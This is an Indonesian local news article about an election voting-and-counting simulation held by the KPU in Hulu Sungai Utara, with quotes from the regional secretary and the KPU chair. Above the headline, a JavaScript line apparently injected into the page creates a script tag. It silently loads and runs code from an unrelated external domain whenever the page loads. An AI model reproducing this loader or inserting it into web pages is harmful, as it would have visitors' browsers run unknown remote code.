(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ikut Simulasi Pencoblosan Suara, Ini Kata Sekda HSU

KANALKALIMANTAN.COM, AMUNTAI – Sekertaris Daerah (Sekda) Kabupaten Hulu Sungai Utara (HSU) Adi Lesmana ikut berpartisipasi sebagai pemilih saat simulasi pemungutan dan penghitungan suara yang digelar Komisi Pemilihan Umum (KPU) Kabupaten HSU di Gedung Aneka Guna Amuntai, Rabu (31/1/2024).

Simulasi tersebut turut diikuti Ketua DPRD HSU, Forkopimda, Kepala Kesbangpol, Kantor Kemenag, Lapas Kelas II B Amuntai, Diskominfosandi HSU, awak media, camat, pengurus partai politik se Kabupeten HSU, anggota PPK serta PPS.

Sekda HSU Adi Lesmana, saat membuka kegiatan menilai simulasi ini sangat penting agar semua pihak dapat memahami tata cara pemungutan dan penghitungan suara dengan jelas dan akurat.

Adi berpesan agar pelaksanaan pemungutan suara pemilu nanti berjalan dengan aman, tertib damai dan lancar serta dilaksanakan secara profesional.

“Bagi para petugas Pemilu agar dapat bekerja dengan sebaik-baiknya, sosialisasi perlu ditingkatkan bagaimana cara pencoblosan dalam bilik suara nanti, ” katanya.

Ketua KPU HSU, Ihsan Rahmani menjelaskan bahwa simulasi pemungutan dan perhitungan suara ini di lakukan sebagai panduan bagi pemilih agar bisa mendapatkan informasi yang utuh terkait alur proses melaksanakan hak pilih di Tempat Pemungutan Suara (TPS).

Ia berharap, semua pihak dapat bekerjasama, Pemilu di Kabupaten HSU berjalan dengan lancar, aman, damai bersahabat, profesional, berintegritas dan berkualitas. Karena KPU sendiri dengan SDM yang terbatas sangat membutuhkan kerjasama dari pemerintah daerah, pengamanan dan lainnya.

“Kami meminta dukungan kepada pemerintah daerah, stakeholder, keamanan, Forkominda dan semua masyarakat Kabupaten HSU, pada tanggal 14 Februari 2024 bersama-sama ke TPS untuk menyuarakan aspirasi terkait perwakilan rakyat dan pemimpin kita yang akan datang,” imbaunya.

Adapun proses simulasi dimulai dari melakukan pendaftaran dan mendapatkan surat suara, menuju bilik suara untuk menyalurkan hak pilihnya untuk 5 surat suara memilih Presiden dan wakil presiden RI, DPR RI, DPD RI, DPRD Provinsi Kalsel serta DPRD Kabupaten. Terakhir memasukkan surat suara sesuai dengan sampul warna surat suara dengan kotak suara.

Untuk pemilih yang sedang hamil dan lansia diprioritaskan terlebih dahulu, dan pemilih yang sakit nanti akan didatangi perwakilan KPPS beserta saksi untuk menggunakan hak pilih di rumah.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie